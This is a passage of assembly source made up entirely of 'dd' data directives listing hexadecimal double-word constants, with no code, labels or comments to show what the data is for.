29428255h, 0ADBF7D4Ah, 0BE442409h dd 3BC96B98h, 0A078986Ah, 0F29020D4h, 55C4FDF5h, 5586AEB9h dd 87A2F52Ch, 0EE6C12FDh, 4D4FB0F1h, 0CE2A1E75h, 7E1F283Bh dd 3142FEE1h, 70838C6Fh, 978601ABh, 3D7075FAh, 0ABDE41ABh dd 0AD8E805Ch, 9A957A3h, 2FA22DF4h, 466B6A35h, 239C69FFh dd 19405BA6h, 8E0D8063h, 0E1CD60C9h, 0AA39BCE3h, 0EFCE97C5h dd 0CB287B70h, 0F8F1A3E5h, 554CFC5Fh, 0E5660E79h, 571A85BCh dd 0DFEBC24Dh, 0CD84767Fh, 77BA526Eh, 0EAA4D54h, 1C818AD5h dd 85D32E4Ah, 43C4B3F9h, 0F31E2013h, 207C5358h, 4D4180CAh dd 82775561h, 0D19868EEh, 25731995h, 0E5381E50h, 0D6C9F6C6h dd 0DFF30E3h, 3B0AE3EDh, 981EAA97h, 0A1BE0021h, 50DCF74Bh dd 8372AA64h, 44F97C41h, 37988FDFh, 6C878EFAh, 0D15F98Fh dd 56BB25A1h, 2F6487CFh, 1E7BDE4Ah, 837D30A0h, 8467B54Fh dd 0F7A91B66h, 2C1D5083h, 5BBA1C06h, 1ACB4DDh, 0EFDE66D1h dd 7B6DE7B8h, 1E12DA3Ah, 0D52C7C13h, 87F9AB36h, 8889E053h dd 6A7A926Dh, 0D4C614B9h, 0EA2BF9F7h, 82C8A8BBh, 8F4E5213h dd 0FC7803E2h, 2B16BE09h, 65C30503h, 0FE451801h, 2D64D4DBh dd 0FF5E8BDCh, 0B0A518ABh, 36C68FC2h, 0D5F030C0h, 0D96732ACh dd 2D68200Ch, 8A6BC779h, 87446759h, 73B396Eh, 21978F9Dh dd 0C3384B7Ah, 729C2CA8h, 0A2498C4Bh, 0E9C0AE69h, 0CBBA82EEh dd 44ECA4A7h, 0BB1EA611h, 0DD562F44h, 63366B2Ah, 2A7629A0h dd 7036E69h, 0B09316E7h, 14FE5724h, 0B58584D7h, 0FEE34E1h dd 115EB9AAh, 0CC3C0FEAh, 30B14C3Fh, 5746E5D6h, 5DB98333h dd 0EAD8322Ch, 3F31EBC6h, 98BED68Fh, 44275CCFh, 83E214C3h dd 0B88C1F07h, 0E7369B6Eh, 0F383B932h, 0B45B984Ch, 0F9075B54h dd 6F0B437Eh, 0BA9B52EFh, 18716A3Eh, 48E03CCCh, 67EBDD5Ch dd 25AA5B03h, 502A821Ch, 8D453CBDh, 14A6E551h, 3AF3F8A0h dd 0D7F3EC76h, 0A04EBB9Ah, 0C0458052h, 756B33DCh, 3B2E99BAh dd 4C54AE53h, 30D11C73h, 9176CEAEh, 69EF5155h, 667C9C51h dd 58BD324Dh, 8EB71920h, 13CAC8BAh, 0AEABDDD7h, 19B15532h dd 4359EF5Fh, 0AA7F3660h, 6236E5Ch, 7B12A836h, 0BDEEE924h dd 0D7E945E2h, 4FC691E4h, 0B9BAF8A4h, 0C89B3ABEh, 165E949Ah dd 6A70DC77h, 0B7443B5Bh, 0E227117h, 7422B638h, 0CF840004h dd 2ACE2691h, 416857D9h, 8AAAE5B7h, 0E78512B2h, 2B67899Ah dd 0D759D872h, 0E53A3E5Dh, 7D1F470Eh, 671DDF09h, 0A8F00F02h dd 36F14F9Fh, 6FC4ECFDh, 0F7983786h, 0FB9946C5h, 6E009789h dd 0ED2494FFh, 72BF1B31h, 5148E6E6h, 16052FA3h, 4A8C5C6Fh dd 7798700Ch, 62801B3h, 0D5B04EB9h, 43C2916Ch, 8357D611h dd 0CB5DA627h, 6C7CBB53h, 0C87F9952h, 0E749A4D4h, 0ABE6DB83h dd 0FECCA7CAh, 3574313Ah, 3A5166C1h, 71E8203Dh, 0D95443FFh dd 2ED23293h, 48A42F88h, 1888B0B8h, 68856D96h, 999C60FBh dd 4746B2D4h, 52C8A8BBh, 0F7CC1993h, 9AFC40A3h, 728349Ch dd 0BDF07B23h, 7920B130h, 1FF12B04h, 207E964Fh, 670AB5Bh dd 0AB4D155Bh, 0F5CC9CB4h, 0F8A5088Ah, 1D2E53BCh, 0F41AFE41h dd 0AD0AEEB2h, 9132FE41h, 218037A4h, 2C7D8583h, 958EF002h dd 0BA7FEDA9h, 0F9927846h, 0CABB13DDh, 1C55A4A6h, 798B5940h dd 59384815h, 63520A4Eh, 4729EF0Ah, 83A85C4Ah, 86A06CDFh dd 3B845838h, 0DDDE6CC7h, 0FC9936E1h, 2F619A8Bh, 0F363FC61h dd 97A9B37Fh, 0DE56EE77h, 194E8AE6h, 36BB6D7Dh, 7DBD691Ah dd 5F3B4FB1h, 80D868F4h, 0BD78BF1Ah, 5D9FDCEFh, 0E7268E1Dh dd 80CAF5BEh, 0C603F25Dh, 0ED4B82DAh, 5A4CBE81h, 0A6CEF764h dd 3DCD730h, 468C6CCFh, 67E8714Ch, 0BC9DD003h, 0DB3A9C30h dd 8C2E6067h, 570CE63Bh, 71789869h, 9CB8DF7Ah, 9529FC8Fh dd 8AE4DBE3h, 0A9FE005Eh, 6D9040EDh, 379718Ah, 997A7631h dd 0D319786Bh, 0C4C4FAAh, 1A248C7Fh, 87A9181Ch, 0E3536A3h dd 0FBCAB2FCh, 0ADE4583Fh, 10AD51F1h, 232BF348h, 8F7E2E0Bh dd 0FFD9E33Fh, 0B466DE67h, 0D980871Bh, 6A2FBF8Dh, 64B4F4BFh dd 0D1382B4Ch, 9C0048CBh, 0BBFD0500h, 51CAC03h, 0FE78177Eh dd 4704550Dh, 1B268E19h, 0F30EE188h, 0BF1B2681h, 338D5CA4h dd 8B418AC5h, 95EC3CDAh, 5E195B74h, 7479A003h, 0BB054090h dd 0A852EC47h, 0B2ED499Eh, 0C198576Dh, 63261595h, 0A4BCCCADh dd 0D7D7EE25h, 889864E3h, 0C40AE2FCh, 0FD1A6282h, 0FFAC731h dd 158F84Ah, 3187EEEh, 0A319A32Dh, 0E2A61EA6h, 14B59973h dd 0CBC9FAA5h, 0D761DBE7h, 0C40EC63Fh, 8E950BF9h, 93422A2Bh dd 0C0D1C53Ah, 0F766801Ah, 0AB05AFD3h, 0DEAA12A2h, 8440BB77h dd 34DE66D0h, 717314ABh, 0A69DFAFAh, 0D53C6270h, 0C601ABFFh dd 5361E043h, 817BF86Dh, 9301BB85h, 0CCAEE69Eh, 85C75743h dd 0B3E25BB5h, 0E69817Ch, 7D16AE17h, 36632233h, 6B74DCA8h dd 22A45157h, 0DF7FC6F4h, 1D25B58Bh, 0F2B2FABBh, 0FF074B7h dd 338EB126h, 70000F3h, 3F935426h, 28CB3003h, 6F5E28C3h dd 3FF275D6h, 0D2337A65h dd 7A663167h, 0B0235356h, 83D080DDh, 9BFE2ADDh, 1E56F4F7h dd 0C01433EEh, 0F5B5583Bh, 0F6DF1E61h, 157CFEB7h, 0CD306129h dd 6D846418h, 29B2326Ch, 97C6858Dh, 8CA424E3h, 492CACF0h dd 322D7B95h, 0AE6D44CFh, 0A846DA0Dh, 0B4FDE051h, 0BB9A5D35h dd 6DA4087Fh, 2990E3B1h, 0F1F658B3h, 0A6C80ACBh, 0D22F9DAh dd 0C75EAB61h, 0D34A3316h, 6B14BB02h, 688BF367h, 0AF9E68BBh dd 6104CC1Ah, 13A8BAB5h, 3A8F3B9Fh, 67C9147Ch, 0B99D5B03h dd 0B12A9208h, 0E65FD737h, 0D70FEB98h, 0F178986Eh, 0A9F66FA3h dd 0C053AB9Fh, 7D69083h, 0E9ECA450h, 6C921906h, 9014C407h dd 0DF30D69Ch, 7E1B7F3Bh, 235DD0C0h, 9BBC096Fh, 0DF23B3DDh dd 0CAB0E09Ch, 0EBDF3218h, 206954D7h, 5FEE47B6h, 11727620h dd 3C613C74h, 65731AAAh, 279E4D59h, 5211AF0Dh, 0C32FBF73h dd 8DB4F498h, 9A6064CCh, 8B0028CBh, 32FD050Fh, 0CFFBB7Dh dd 5C3729A4h, 429F9BA9h, 53D74F93h, 3E846448h, 9469A135h dd 0A4478B12h, 0E3C2B43Fh, 809B815Fh, 3307EEE9h, 8C10C839h dd 3EC5522Dh, 5D443AEDh, 4E290BE1h, 0B588686Bh, 1C27DD84h dd 25BCDCB1h, 11D67EC9h, 99B17766h, 33E3E2FDh, 2ADB6BE9h dd 8F2BC6B4h, 5158F84Bh, 7B0F7E5h, 0FA86517Fh, 8C960B9h dd 7FAFE0DDh, 0ADB31EEDh, 32D40582h, 4267A221h, 8E5CA87Eh dd 0FF275915h, 242E8E2Ah, 0FA57FB1Dh, 89B07089h, 7BE522BDh dd 60A9C1C4h, 0D8FE14B4h, 149C6A8Ah, 291FEB6Bh, 0B040194Dh dd 0E22A5A57h, 400C9320h, 9B1BFA4Dh, 0FCB43DF7h, 2A8E92CFh dd 62ADD8C3h, 0C78C3BA1h, 118F2CC3h, 7E72D068h, 0E90A174Dh dd 2C402F10h, 4507A036h, 0FF19E818h, 0B1F454EAh, 63CB8BC1h dd 0D5A8F2DEh, 0CF8127B7h, 3F202C87h, 6D3AC062h, 0D3510D55h dd 266E6525h, 4809BF7Bh, 0D98F4001h, 0F7F944D8h, 45D7FECCh dd 86A9B0A6h, 0FDCA6EA8h, 23619D85h, 0DF21D575h, 0D4553768h dd 171B2A64h, 351FD57Fh, 0A2EB070Dh, 0DE900B2h, 479AA18Ah dd 0FCB1F0A6h, 0B5456FB6h, 51AEFCD2h, 0C3E51E11h, 67508073h dd 5A55091Ch, 0C7BCAD7h, 38D8D095h, 5F11122h, 0F18D2A2h dd 0A3D343EEh, 0A443D000h, 4A990D35h, 2FB94219h, 8C4E9ABCh dd 93E2411Fh, 0FD74A467h, 0AF8E5681h, 61A8089Bh, 13C2BAB5h dd 0C5DC6CCFh, 77F61EE9h, 2910D003h, 0DB2A821Dh, 8D443437h dd 3F5EE651h, 0F178986Bh, 0A3924A85h, 55ACFC9Fh, 7C6AEB9h dd 0B9E060D3h, 6BFA12EDh, 1D14C407h, 778BF541h, 81483879h dd 71DE7FD6h, 0EA7C8C7Fh, 1A827D3Eh, 0FEBFE8F0h, 2BC9A4F6h dd 89C0105Ch, 2DF244DAh, 195A8312h, 81B97E56h, 790E372Bh dd 65DE5BD0h, 5C098063h, 8B8A7031h, 0FF37E14Ch, 8E1774E9h dd 29E84C19h, 4326A570h, 578440Fh, 975E5E29h, 0E4501043h dd 0B494ED8h, 0D5BD2D77h, 0BF1D2AE5h, 0CE4F3AAFh, 0F3901E40h dd 4C1BFFDFh, 635963FAh, 0E9C3A003h, 24C622D2h, 59BC8747h dd 92E74083h, 0C1984BF7h, 7A22016h, 268EE7AAh, 995B6EBBh dd 0D7AB681Fh, 4F0AD87Eh, 6166B13h, 8F4CB932h, 0AEA7AFA3h dd 28BC819Ah, 0A5CEE0F2h, 2CA55699h, 9C4F0387h, 0CBCA3055h dd 3F60A120h, 2F0ED611h, 0DDC0881Bh, 18423A35h, 551E78CAh dd 1DF7669h, 0B178AF7Ch, 0D8AA029Dh, 1D86200Ah, 0B7AB66D1h dd 55F08562h, 0BFF9CA15h, 97B8F1E0h, 8852E29h, 292278D6h dd 7FEF1B6Dh, 759454C5h, 4FAEF6A2h, 8A0B6188h, 0B3E2DA46h dd 88145EEFh, 14E941F7h, 0D972CCB6h, 0F89C213Dh, 2264D82Dh dd 0DF7F81F5h, 81E2BB8Bh, 0BE36E5A5h, 7ECC9CBFh, 4FB6429Bh dd 0A6FFFE3Bh, 49A6370Eh, 7B376437h, 0EF469C11h, 381CC8A2h dd 0A7AC83F5h, 74776C8Ch, 0B6B79622h, 360F4F22h, 0DF13C302h dd 3804B8BBh, 3735FFFDh, 0BEC2A1A8h, 6352BDCAh, 6DEDDA5Fh dd 0C8B45D87h, 79A08B16h, 113984ADh, 56D1F1C7h, 8D0526ABh dd 0B00BE270h, 0D507244h, 103FB3D0h, 5746BCF5h, 71B035CEh dd 3F0E6D86h, 92A41497h, 0FFC7A04h, 843028CBh, 800DD51Bh dd 254E607Ah, 5BA30119h, 9A405071h, 0C809D649h, 2647A6A7h dd 4C86E08Eh, 41618889h, 37E67BE6h, 0E1C045CBh, 2CD212C0h dd 0A8F93B43h, 60FD8DE6h, 0C7A40EAh, 511B4EAAh, 704EECB0h dd 2A9137Eh, 0D4828860h, 0B2E47842h, 38C6147Fh, 33138116h dd 9C0AB0F4h, 97C70BDAh, 5E5CC8h, 165D9CAEh, 6472F88Eh dd 0B2A90E72h, 0B6B68442h, 0EB883A28h, 0DC0D0FD7h, 101F90Eh dd 0F80C7A88h, 3CCD94CAh, 71261EFCh, 0D22F2601h, 4C087F8Ch dd 8B8A14B4h, 25855CC1h, 0B0E74C3h, 0C70A4AD8h, 0B04905Eh dd 0FAE982E7h, 0BFF4DDD6h, 6C3AC1C4h, 0EE4B2A05h, 37048B88h dd 0CF955592h, 83DDAFBh, 49D29AE3h, 0FD861B34h, 0BD8644A1h dd 4938D510h, 5E3BBA3Ch, 5CECFBB8h, 8B6EB661h, 10851CA9h dd 9868E475h, 9DB92759h, 57D67EC9h, 4A4FD248h, 29A7770h dd 3A0F9407h, 68FD9CC6h, 41617CCEh, 372AA65h, 75195377h dd 91ADEE58h, 9F94236h, 0CDAF73CDh, 587D2981h, 0AAF8C5EAh dd 0E138B199h, 0F5444F37h, 0AE79DD42h, 0F67BF86Dh, 413B36A6h dd 0A455FD21h, 84F0F73Ch, 0AF9CCA44h, 863BB3EBh, 332B4E80h dd 0D52C7C1Fh, 47D32131h, 0D1CA5C57h, 14856DF1h, 0DF24D10Eh dd 0CA58F6B1h, 1D89139h, 0BCE62FD4h, 4EFEE7DEh, 0E0D515C9h dd 0D909F4A6h, 7B4A223Dh, 0A743A05Fh, 0CF47F8F4h, 9A78F98Bh dd 639E7C3h, 0D7C37D9h, 0D963C473h, 980010CAh, 6C1FA9EDh dd 1632ED43h, 0C428D672h, 45D0DAB0h, 78827FFAh, 0BCE2A905h dd 6FB2DEB9h, 42C87002h, 0F6F841Eh, 4404E4D0h, 3AE83FAh dd 95E78C0h, 0C8340AAEh, 1106A5B4h, 338F8621h, 7D2DDF6Ch dd 235A137Fh, 1D5D81A1h, 8C059D87h, 2BA2784Bh, 3CAC234h dd 25C3B3DCh, 47716ACCh, 0F3F0B663h, 3FA51175h, 93676045h dd 0E17DB27Bh, 2F1F0C01h, 7D2B5E2Fh, 0CB00A835h, 1929FAD3h dd 294F34F9h, 0FB9119B4h, 26C40EE0h, 5A3E926Ah, 9918C870h dd 0E401065Eh, 0D5E5E84Ah, 77D61EE9h, 5C966003h, 562E861Fh dd 28CECA78h, 3F4EDF2Dh, 0DF8330Dh, 13953F80h, 0AAE37C9Fh dd 652E04F9h, 4E1F9F2Ch, 7BC39668h, 1D54C407h, 0A9961021h dd 354A5D0Ah, 83C9BC7Ch, 9BF98677h, 57962EB0h, 0A11AF343h dd 4355D80h, 2813DC67h, 5FEE3F75h, 1118380Bh, 45826850h dd 4C30B9B5h, 8C00CE49h, 0AC857CF3h, 0B9A828Ah, 97F41BE8h dd 7F731B02h, 49E858E2h, 0ACFD05F8h, 3C9829F8h, 0B7365E39h dd 6A240043h, 0ECC0A2EDh, 0DDBDF0F2h, 7F9E2691h, 89BFACA3h dd 0E33E0190h, 101B7374h, 4716D77Dh, 0F820A010h, 0ABCAD622h dd 0B5E40447h, 0B2E71DCBh, 0C1982AE7h, 8C5CD67Dh, 8F547C50h dd 776BF762h, 61F020A1h, 0C4F51C40h, 0D4A011E0h, 9F3D4621h dd 4B2CF84Bh, 3AF62F92h, 0B58C5C6Fh, 6DD20F99h, 0E63EEE5Bh dd 35419A32h, 9444DB18h, 0AA857DABh, 0E138CA87h, 5B69F5BEh dd 7F851C6h, 0BFFF9E79h, 0CDF7E87Fh, 68013462h, 0FA6FD277h dd 0AFE7E254h, 71F81BEBh, 0D501BE05h, 0C515FE9Ah, 8D32AE39h dd 0C69D4ABBh, 15217A92h, 0FA2CBB78h, 0E4887FC5h, 0AAAE6888h dd 8A66DF22h, 65FF0CFFh, 4D62BE09h, 0F0B2F5D5h, 0ECA222Dh dd 0D0E53C5Dh, 0ED96798Eh, 7967C775h, 0BC4D17A7h, 0E124BC0Fh dd 4419B122h, 0A6B866CAh, 9AB1D418h, 39A1EF8Ch, 984E0678h dd 22AA3F89h, 0A6827A75h dd 7940C49Bh, 28062156h, 162A7E2Bh, 64522422h, 0DCAF92E2h dd 74D12DBAh, 0A17AFCAEh, 0EA9A2145h, 909B4017h, 0C79657FDh dd 79A02090h, 0AE4DEAD9h, 0DDC4BD43h, 89EE36E1h, 0C4FFC48Fh dd 0F332A391h, 0A43C4C2Fh, 95BEF43Ch, 0E18F4F9Eh, 44759F36h dd 54209160h, 1FBEC6A1h, 0DBAC7CCBh, 7C0F860Dh, 0C86D3400h dd 62D171E6h, 995079B7h, 4B5AF249h, 6B9CB313h, 1771A97Ch dd 0A956C8B2h, 0D3CA021Eh, 7D7768BBh, 101DE69Ch, 0D46F38A8h dd 5EDD7DE2h, 8D540DB3h, 3F5EE659h, 4CF8EA1Eh, 0A3827307h dd 0BDC5889Fh, 0F83953DCh, 90F8496Bh, 155F1824h, 0DD14D43Eh dd 6A2475C5h, 81581145h, 0CE2932FEh, 54CC7390h, 1513B423h dd 0E3B0E09Ah, 4379E55h, 28525B28h, 5FEE3F8Fh, 15D8BC86h dd 0CBD2AB65h, 0DE2A918Fh, 70CCCFE9h, 267DA09Bh, 0AFA61B72h dd 0C6565CC1h, 6B4B6198h, 0B1E858E2h, 2702FAF5h, 0AF551C08h dd 4D43E64Fh, 0C236F141h, 0E4963EB5h, 676CC488h, 0F635E6A2h dd 21FA5016h, 67577DC5h, 0B5EC2CE6h, 3206EEF9h, 27C8F704h dd 0F1C5ADD1h, 5E4CBCCh, 8A647C4Ah, 0C1985107h, 0D95E501Ch dd 0DA400447h, 566E1836h, 0D75C723h, 7B0AF2C4h, 99249417h dd 0B7FAC632h, 68245D41h, 0A814AA75h, 0F700E1F6h, 900D0E89h dd 9F94436h, 0CBDA72CDh, 0CDFD51A7h, 538BD451h, 4B289822h dd 0AAC6BFC2h, 45DCEC5Fh, 0FC039E69h, 2C9AE833h, 5BBA3BE0h dd 6BF95F1Dh, 48C65769h, 61C19C6Eh, 2313CA05h, 652E081Fh dd 0FAE32410h, 0F960F06Ah, 4E709189h, 9D847DFAh, 0F7C85DC7h dd 843F583Ah, 0B3F26351h, 65FC0EEFh, 0DFA2BC7Ch, 0F04DD529h dd 0D02C222Dh, 6FCC69DEh, 4FC68661h, 3A9838A2h, 7A366F52h dd 0F5C49CAFh, 0D6924ED9h, 0A6FC201Bh, 8F9F45F2h, 0BD34741Eh dd 1A4E1645h, 2BD07850h, 0C3BB04F0h, 0C877868Fh, 0E325B5Eh dd 0E1D090D3h, 8A9F42DDh, 0AD874C91h, 0C660031Bh, 1A5E583Bh dd 88F8CA76h, 3CD4DA4Ah, 0B9236461h, 0B9A030AAh, 8EB0D149h dd 0DDC4BDB9h, 0A199D87h, 4118D17Fh, 0F3228A15h, 65BDF449h dd 93D6FD3Dh, 77D5BA6Bh, 0DD8A7244h, 0E8121B3Ch, 1FAEFF33h dd 2A779060h, 605D51Ah, 351CE57Bh, 0A7268E19h, 0C9F04E47h dd 7226774Fh, 15DEA477h, 5071AD14h, 0E8564716h, 3802A38h dd 41599BCFh, 77F60ED0h, 5D90D003h, 71C23211h, 39F9BD9Ch dd 0D45EF613h, 0A99706Eh, 0C97AB57Ah, 0A2530364h, 17FF2A3Ch dd 0B8E060D3h, 0DBF167EDh, 6191CE47h, 652E6618h, 392E27D0h dd 96681AD6h, 0E56CB513h, 962695EFh, 0CD350709h, 0FBCAB284h dd 0D8E456D7h, 0DB7BF1DEh, 1118A832h, 0B6326E25h, 7F8CAC25h dd 375FB0DCh, 5A250A73h, 4A9A22B4h, 85D2F447h, 5F6517A7h dd 11E0A3DBh, 2D87F0B5h, 0AF1CBC36h, 8EB2DBDEh, 69501053h dd 0B1FC255h, 2507CC11h, 46E3839Bh, 9ADED8BBh, 0EB398B75h dd 10E6746Fh, 4716D784h, 3FF48B9h, 2ECDADD2h, 5D443DC3h dd 0F7EB661h, 0E4FD1DCAh, 8B21A2F3h, 1CC169A5h, 7CB07ED9h dd 0A05AF0D0h, 2B487240h, 69A16317h, 9F3E5608h, 2458D84Bh dd 0E8051B7Ah, 0BC343A64h, 1A030481h, 0D9C0D08Ah, 6ED07129h dd 7DE41D9Ah, 92277D67h, 0E138CA8Bh, 36C8FBBFh, 454CAEDFh dd 0AFC6350Fh, 90ECD581h, 0B300028Dh, 0F23B4ECEh, 865AE326h dd 71FB18FBh, 0F66CB05h, 0ECA8F9E8h, 87462E29h, 1915E453h dd 0D2FE179Ah, 9D944497h, 45DBF5A1h, 0FE317653h, 49A9B22Ah dd 6514F310h, 0FFE941F3h, 36CF8A62h, 42CEA7CAh, 2D64D447h dd 0D70A8E71h, 7932F13Bh, 0BC4D1088h, 0CC481948h, 0A7E64EC9h dd 737410F3h, 8E30B5BDh, 0BD245D5Bh, 6254F680h, 214CC0D2h dd 0EAFEDF77h, 615C2C9Fh, 33725EAAh, 102F7868h, 0FA5ABD22h dd 0B4F31C5Dh, 477859EEh, 1432B8D4h, 63423339h, 0F3841739h dd 30799180h, 6999A416h, 2BBAF2ADh, 5690F0C7h, 763BD26h dd 6A08F8B9h, 0F6313D4h, 2036149Fh, 5746C735h, 0F0CF58C9h dd 3E7D9D82h, 6DB42D13h, 1FFEC6B1h, 69BE74BFh, 6F8E9B5h dd 351CE583h, 5F4084F2h, 3C4AA0CCh, 4B4ACB31h, 6B9C0F01h dd 5871A978h, 71918C1Eh, 13C2B9B5h, 4E8318CEh, 0D7739526h dd 210C041h, 27620BD5h, 8B3FD04h, 3F4EDFD5h, 0F1F8986Bh dd 261F44F0h, 55BCC5E3h, 8786A633h, 4193632Ah, 2F371660h dd 0DC14D423h, 449E7EC1h, 0E74ECB90h, 55A2EBEDh, 6AC4EAC4h dd 972E5609h, 0A8B2F0A3h, 509209DBh, 0AB919D52h, 9FCFBE97h dd 0D2A8136Dh, 3A19828Fh, 0F0BBE3C0h, 2776F7DDh, 59808073h dd 441128F9h, 7F00612Ch, 27E596D1h, 49140052h, 0ACFD038Ah dd 0EDB66FBFh, 48C9A72Ch, 50C095CEh, 9E9DC24Dh, 0CD944DF3h dd 5F9E2691h, 1AEFDEDEh, 0FA39D23Dh, 0BEC46F54h, 0CCD6C501h dd 0E962089Eh, 23AF532Dh, 5C541405h, 2B2A3D58h, 0A935E17Fh dd 0F8A20A85h, 35FE4012h, 5F5355C9h, 7EF020A1h, 2B336678h dd 0ED24D417h, 683C3231h, 559A5393h, 8025FC65h, 0A5CE98C2h dd 0E3A90E99h, 19C0C16Ah, 0CBDA7F25h, 2FB16FE7h, 1C42934Fh dd 0AD6CA629h, 6BD3A79h, 454CD23Dh, 0B5AE1BE0h, 22C35093h dd 83A93EC5h, 86ECC748h, 0A6365292h, 0FA07E71Eh, 33507290h dd 972F271Fh, 5BC3A735h, 3A60F011h, 6EF39A2Fh, 9D840667h dd 0B086852Ah, 1C82808h, 4710B2D5h, 0D877F310h, 1706FCB1h dd 3DD69875h, 0EEC1DDC2h, 2D7496EFh, 0DC76CCFAh, 5FB334C1h dd 4CB70326h, 0F5CDFC37h, 0FD6241D9h, 5A0000F2h, 1B580EB8h dd 0C5816727h, 0C34E0603h, 0A4672067h, 0D3827AD7h, 0AE986A02h dd 27F4A62Ch, 0B9D693C3h, 641EE135h, 0F5B97708h, 0FF1EB653h dd 0F603535Eh, 78D10549h, 0FE6CBC5Eh, 7F135775h, 76A030D1h dd 2BBBDF28h, 0A55187C7h, 0E9EE26A3h, 64F7D07Ah, 0F3DE1F1Ah dd 0E5B74C2Fh, 6315D54Bh, 0FD165833h, 6B39D82h, 6DB4562Fh dd 1F5A43BEh, 54DB78CBh, 83E26859h, 777459FCh, 0E7AD8E09h dd 964C0718h, 4B5A3FCFh, 0F5339F67h, 0AF4AD58Eh, 0A12B089Bh dd 785B9B7h, 87A4E9CCh, 27A41EF9h, 6BC865FCh, 4ED5820Dh dd 8D540A05h, 309E630Bh, 0F1782FEEh, 0A30EA385h, 0AA90FC9Fh dd 7522BB6h, 876060D3h, 0E07F1DF8h, 9614C407h, 8C057767h dd 74A0780Fh, 0A9D25A6h, 0F53E34D2h, 94E14B89h, 59F24C26h dd 834FA1BDh, 24E44495h, 4FBCE274h, 2A18330Bh, 0D370B6A0h dd 4E446E3Fh, 37242EDCh, 0E4E9F273h, 0FB9A328Dh, 225CD3D5h dd 62CE96C1h, 6063B495h, 1101F8DEh, 0E199971Fh, 0C2364E6Bh dd 7994934Fh, 5FE5F3A2h, 26E56853h, 0FA11E58Ah, 31A89A33h dd 9B6701A5h, 7DEC2C9Dh, 0B8F91A6Ah, 0F9200972h, 0A54FD22Dh dd 2F58436Ch, 7298D68h, 3EB4EA74h, 7CEBE56Ah, 0DA427E2Ah dd 0F3EAF536h, 0A0749762h, 0C4F5E2FDh, 0AFCF7BE8h, 0FF1A0CB0h dd 1FB8F84Bh, 0FF96A56h, 7109DB5Bh, 0EEA61EDBh, 9820036h dd 4363FFCDh, 7EF424CEh, 3F4CAE84h, 448DEE1Bh, 9084117Bh dd 777F80Dh, 0C305865h, 0FA11976Bh, 5EAA029Dh, 84C4B4B7h dd 0E1819A97h, 0E4074F28h, 2302F47Bh, 0DA3394DEh, 874734BCh dd 5334B053h, 1485F845h, 8DAA9A12h, 106E73A1h, 0CD20B4h dd 3F0A5AD5h, 8D03F30Bh, 1716BE18h, 8F441570h, 282F4E54h dd 5F11B732h, 9E07F218h, 0DD2DC78Bh, 0BCB2FAE7h, 0E5F2AE2Ah dd 0F363C7D9h, 0B10010B1h, 0B1AB214h, 0DC600174h, 1801732Ah dd 521AAD35h, 83F2131Dh dd 0ECEA45FDh, 52D1BBC5h, 0B438C7C3h, 7315BD35h, 4D04F4E4h dd 9A4CC342h, 0C3572C58h, 0A205A20h, 7000D529h, 90860B1Eh dd 86481F7Bh, 2BA83A52h, 0B88784C7h, 0E48D57A3h, 3358988Eh dd 9F4BEC7Ch, 0A5592B4Ah, 0BF74161Eh, 11984F9Ch, 0E88A627Dh dd 0CCC57F2h, 51DBA1DFh, 0B7B10CA4h, 0EA807A9Ch, 5060B589h dd 0B026EB7Eh, 66A7BFDBh, 0C60EA2B2h, 0ED4934E2h, 0FFEA3C81h dd 9EFF09F1h, 3FC5020h, 0E1E0E5CFh, 49D08B16h, 0E93AD013h dd 9A623F90h, 0DD143427h, 0AFEB1901h, 99788856h, 0A3964A84h dd 2AD96CBh, 45923B46h, 0D3B460C3h, 0FE0545E9h, 1D048653h dd 303AB2A2h, 910A648Eh, 51F72555h, 0BA7C9C51h, 0DF23B34Ah dd 1FB0E0E2h, 0C5AC3742h, 556754C7h, 0E47A090Eh, 9818B80Bh dd 0D37032A0h, 234C763Fh, 19C45BA6h, 19058063h, 8B3EB682h dd 0FD9FE4A7h, 0ECA4C691h, 0C9E9228Bh, 9302FAF5h, 47895359h dd 34364E17h, 0ED5FEFBBh, 1B6AC45Ah, 8FD8F1FEh, 0F2132681h dd 31A89ACBh, 0A1BA1F48h, 0C7BD3CCFh, 0B856EE93h, 0E91ECE86h dd 54C2D12Dh, 58818048h, 0F04B661h, 83D4DD84h, 0E65D1A85h dd 25ACF2C5h, 0D829864Ah, 89F58E67h, 4B8F6BFDh, 0DE248455h dd 0CEFD45F8h, 5532A91Bh, 5FC75534h, 4A8C4C3Dh, 7798480Ch dd 160045B3h, 0CBDFE849h, 0F43D17E7h, 3F4CA284h, 0B079D91Bh dd 9C42255Dh, 0D0A3BC4Fh, 0F766A0E7h, 2D9F9006h, 5BAA07CEh dd 4FBC313Eh, 71D66C1h, 71F86A00h, 0D42A818Eh, 0C515F89Ah dd 87462E39h, 3A669573h, 0FB6AFAE8h, 9E467787h, 0B85F0160h dd 854D215Ah, 0BE24A97h, 65FC2560h, 142AF582h, 0D92018A6h dd 7898113Dh, 0DA952396h, 0A3FB0F90h, 529828C9h, 45F95DAAh dd 78F97F46h, 10E9568Ah, 890314B0h, 23DBD944h, 87B5B424h dd 127611Eh, 0A275BCA2h, 0A183760Fh, 0B9D7A76Fh, 34A29C22h dd 0AD5D8081h, 421DBD95h, 0C83F35D4h, 0FF0EE461h, 956CD3E8h dd 0EC923955h, 156C04DDh, 80DAD79h, 0C42D2B78h, 2BAA93E5h dd 0EE0B0F3Bh, 0EED29A28h, 3B34EE89h, 0D30E9862h, 0D1607085h dd 2378C2A5h, 7C708CBEh, 30438195h, 35E12996h, 14CAC6F4h dd 839B2BF6h, 0B07725E5h, 0BEF32300h, 0AE71B31Ah, 1D4F037Dh dd 0B4A50D6Bh, 0A837F35Ah, 0B40A59CFh, 5C57F764h, 21F1F9E2h dd 3ACCE8C0h, 27CBE116h, 265F8450h, 24D58799h, 659F07C8h dd 0C0A1187Ch, 0B90881Eh, 4B6DB579h, 0AA5302BEh, 0F92A2AB6h dd 6BD39F2Ch, 6BFA0405h, 0E2772C07h, 0CFC689DEh, 0DC48283Bh dd 77137D4h, 1F958C7Fh, 0F3963E8Ah, 0FC3BC25Ch, 0FBDAE0C5h dd 0CBC6DDB3h, 5B33870h, 12FB3D04h, 9DB96A25h, 13921F03h dd 6236F5D8h, 0DA53057Ch, 0C86D328Dh, 3D94E4B1h, 294B99C1h dd 57E848D8h, 5C00A6B6h, 51F108Bh, 0BF75D529h, 0C9F0B07Eh dd 0B5EECDFDh, 0F0847474h, 5FBE06B1h, 321B5CA4h, 68598AC5h dd 95EC3C17h, 0AF57F81Ah, 6DF4F9Bh, 0E986DF2Eh, 93570457h dd 0F2ED7E2h, 0C1CC09F8h, 8C5C817Dh, 5F3EC350h, 54D67ECAh dd 99B2F046h, 